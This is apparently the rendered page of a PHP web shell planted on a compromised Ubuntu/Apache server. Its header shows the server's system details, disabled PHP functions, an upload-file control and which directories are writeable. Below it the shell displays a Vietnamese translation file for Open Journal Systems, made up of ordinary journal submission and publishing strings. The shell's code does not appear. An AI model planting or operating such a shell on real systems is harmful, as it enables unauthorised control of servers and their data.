KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/locale/vi_VN/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/locale/vi_VN/submission.po
msgid ""
msgstr ""
"PO-Revision-Date: 2020-06-07 15:39+0000\n"
"Last-Translator: Tran Ngoc Trung <[email protected]>\n"
"Language-Team: Vietnamese <http://translate.pkp.sfu.ca/projects/ojs/"
"submission/vi_VN/>\n"
"Language: vi_VN\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: Weblate 3.9.1\n"

msgid "publication.scheduledIn"
msgstr "Dự kiến xuất bản trong <a href=\"{$issueUrl}\">{$issueName}</a>."

msgid "publication.publishedIn"
msgstr "Đã xuất bản trong <a href=\"{$issueUrl}\">{$issueName}</a>."

msgid "publication.required.issue"
msgstr ""
"Ấn phẩm phải được chỉ định cho một số phát hành trước khi nó có thể được "
"công bố."

msgid "publication.publish.confirmation.backIssue"
msgstr ""
"Tất cả các yêu cầu xuất bản đã được đáp ứng. Điều này sẽ được công bố ngay "
"lập tức trong {$issue}. Bạn có chắc chắn muốn xuất bản?"

msgid "publication.publish.confirmation.futureIssue"
msgstr ""
"Tất cả các yêu cầu xuất bản đã được đáp ứng. Điều này sẽ được công bố khi "
"{$issue} được xuất bản. Bạn có chắc chắn muốn lên lịch trình này để xuất bản?"

msgid "publication.publish.confirmation"
msgstr ""
"Tất cả các yêu cầu xuất bản đã được đáp ứng. Bạn có chắc chắn muốn xuất bản?"

msgid "publication.issue.success"
msgstr "Chi tiết của số phát hành của ấn phẩm đã được cập nhật."

msgid "publication.invalidIssue"
msgstr "Số phát hành cho ấn phẩm này không thể được tìm thấy."

msgid "publication.invalidSection"
msgstr "Chuyên mục cho ấn phẩm này không thể được tìm thấy."

msgid "publication.datePublished.description"
msgstr ""
"Ngày xuất bản sẽ được đặt tự động khi số được công bố. Không nhập ngày xuất "
"bản trừ khi bài báo đã được xuất bản trước đó ở nơi khác và bạn cần phải sao "
"lưu nó."

msgid "galley.publicationNotFound"
msgstr "Việc xuất bản của bản in này không thể được tìm thấy."

msgid "galley.editPublishedDisabled"
msgstr "Không thể chỉnh sửa các bản in của ấn phẩm này vì nó đã được xuất bản."

msgid "catalog.category.heading"
msgstr "Tất cả mục"

msgid "catalog.browseTitles"
msgstr "{$numTitles} mục"

msgid "submission.sectionOptions"
msgstr "Tùy chọn chuyên mục"

msgid "section.any"
msgstr "Bất kỳ chuyên mục nào"

msgid "submission.metadataDescription"
msgstr ""
"Các thông số kỹ thuật này dựa trên bộ siêu dữ liệu Dublin Core, một tiêu "
"chuẩn quốc tế được sử dụng để mô tả nội dung tạp chí."

msgid "submission.citationFormat.notFound"
msgstr "Các định dạng trích dẫn được yêu cầu không thể được lấy."

msgid "submission.submit.form.contributorRoleRequired"
msgstr "Vui lòng chọn vai trò của người đóng góp."

msgid "submission.submit.form.wordCountAlert"
msgstr ""
"Tóm tắt của bạn quá dài. Vui lòng rút ngắn nó xuống dưới giới hạn từ được "
"chỉ định cho phần này."

msgid "submission.submit.form.abstractRequired"
msgstr "Vui lòng nhập tóm tắt bài báo của bạn."

msgid "submission.submit.form.titleRequired"
msgstr "Vui lòng nhập tiêu đề của bài báo của bạn."

msgid "submission.submit.form.authorRequiredFields"
msgstr "Họ, tên và địa chỉ email của mỗi tác giả là bắt buộc."

msgid "submission.submit.form.authorRequired"
msgstr "Ít nhất một tác giả được yêu cầu."

msgid "submission.submit.contributorRole"
msgstr "Vai trò của người đóng góp"

msgid "submission.submit.privacyStatement"
msgstr "Cam kết bảo mật"

msgid "submission.submit.submissionChecklistDescription"
msgstr ""
"Bạn phải đọc và xác nhận rằng bạn đã hoàn thành các yêu cầu bên dưới trước "
"khi tiếp tục."

msgid "submission.submit.submissionChecklist"
msgstr "Danh sách yêu cầu trước gửi bài"

msgid "submission.submit.form.localeRequired"
msgstr "Vui lòng chọn một ngôn ngữ của bài gửi."

msgid "submission.incomplete"
msgstr "Chờ phê duyệt"

msgid "submission.complete"
msgstr "Đã phê duyệt"

msgid "submission.upload.fileContents"
msgstr "Thành phần bài báo"

msgid "submission.event.issueMetadataUpdated"
msgstr "Siêu dữ liệu của số đã được cập nhật."

msgid "editor.submission.decision.sendExternalReview"
msgstr "Gửi phản biện"

msgid "workflow.review.externalReview"
msgstr "Phản biện"

msgid "submission.confirmSubmit"
msgstr "Bạn có chắc chắn muốn gửi bài báo này đến tạp chí?"

msgid "submission.pageProofs"
msgstr "Hiệu đính"

msgid "submission.submit.upload.description"
msgstr ""
"Tải lên các tập tin liên quan đến bài gửi này, bao gồm bài báo, bộ dữ liệu, "
"các tài liệu tham khảo, v.v."

msgid "submission.submit.titleAndSummary"
msgstr "Tiêu đề và Tóm tắt"

msgid "grid.action.pageProofApproved"
msgstr "Bản in thử này đã được phê duyệt để đưa vào bản in chính thức."

msgid "grid.action.approveProof"
msgstr "Phê duyệt bản in thử này để đưa vào bản in chính thức."

msgid "submission.proofReadingDescription"
msgstr ""
"Biên tập viên trình bày tải lên các tập tin sẵn sàng xuất bản đã được chuẩn "
"bị để xuất bản ở đây. Sử dụng <em>Phân công người kiểm tra</em> để chỉ định "
"các tác giả và những người khác để đọc lại các bản in, với các tập tin được "
"sửa chữa được tải lên để phê duyệt trước khi xuất bản."

msgid "submission.galleyFiles"
msgstr "Các tập tin bản in"

msgid "grid.action.availableArticleGalley"
msgstr "Làm bản in này sẵn sàng"

msgid "grid.issueEntry.availableGalley.message"
msgstr "<p>Bản in này sẽ <em>được cung cấp tới</em> độc giả.</p>"

msgid "grid.issueEntry.availableGalley.removeMessage"
msgstr "<p>Bản in này sẽ <em>sớm được cung cấp tới</em> độc giả.</p>"

msgid "grid.issueEntry.availableGalley.title"
msgstr "Định dạng được phê duyệt"

msgid "submission.event.publicIdentifiers"
msgstr "Dịnh danh công khai của bài báo đã được cập nhật."

msgid "submission.event.articleGalleyMadeUnavailable"
msgstr "Bản in của bài báo \"{$galleyFormatName}\" chưa có."

msgid "submission.event.articleGalleyMadeAvailable"
msgstr "Bản in của bài báo \"{$galleyFormatName}\" đã có."

msgid "grid.action.issueEntry"
msgstr "Xem siêu dữ liệu của bài gửi này"

msgid "grid.action.galleyInIssueEntry"
msgstr "Bản in xuất hiện trong mục số phát hành"

msgid "submission.submit.whatNext.description"
msgstr ""
"Tạp chí đã được thông báo về bài gửi của bạn và bạn đã được gửi email xác "
"nhận cho bài gửi của bạn. Khi biên tập viên xem xét bài gửi, họ sẽ liên lạc "
"với bạn."

msgid "submission.issueEntry"
msgstr "Siêu dữ liệu"

msgid "submission.submit.noContext"
msgstr "Tạp chí của bài gửi này không thể được tìm thấy."

msgid "submission.abstract.wordCount.description"
msgstr "Tóm tắt phải là {$wordCount} từ hoặc ít hơn."

msgid "grid.action.workflow"
msgstr "Quy trình gửi bài"

msgid "submission.submit.newSubmissionSingle"
msgstr "Bài gửi mới"

msgid "submission.submit.newSubmissionMultiple"
msgstr "Bắt đầu một bài gửi mới"

msgid "submission.title.tip"
msgstr ""
"Loại gửi thường là một trong 'hình ảnh', 'văn bản' hoặc các loại đa phương "
"tiện khác bao gồm 'phần mềm' hoặc 'tương tác'. Vui lòng chọn một trong những "
"phù hợp nhất cho trình của bạn. Có thể tìm thấy các ví dụ tại <a target=\""
"_blank\" href=\"http://dublincore.org/documents/2001/04/12/usageguide/"
"generic.shtml#type\">http://dublincore.org/documents/2001/04/12/usageguide/"
"generic.shtml#type</a>"

msgid "submission.title"
msgstr "Tiêu đề bài báo"

msgid "submission.upload.selectComponent"
msgstr "Chọn thành phần bài báo"

msgid "submission.submit.userGroupDescription"
msgstr "Chọn tư cách mà bạn đang gửi bài báo này."

msgid "submission.submit.userGroup"
msgstr "Gửi trong vai trò như là ..."

msgid "submission.submit.title"
msgstr "Gửi một bài báo mới"

msgid "publication.selectIssue"
msgstr "Chọn một số để lên lịch xuất bản"

msgid "publication.scheduleInissue"
msgstr "Giao cho Số"

msgid "publication.publish.confirmation.datePublishedInPast"
msgstr ""
"Tất cả các yêu cầu xuất bản đã được đáp ứng. Bài này sẽ được xuất bản ngay "
"lập tức vì ngày xuất bản đã được đặt thành {$datePublished}. Bạn có chắc "
"chắn muốn xuất bản?"

msgid "publication.unscheduledIn"
msgstr "Bài này đã không được lên kế hoạch để xuất bản trong một số."

KUNTUL | JINGKONTOT |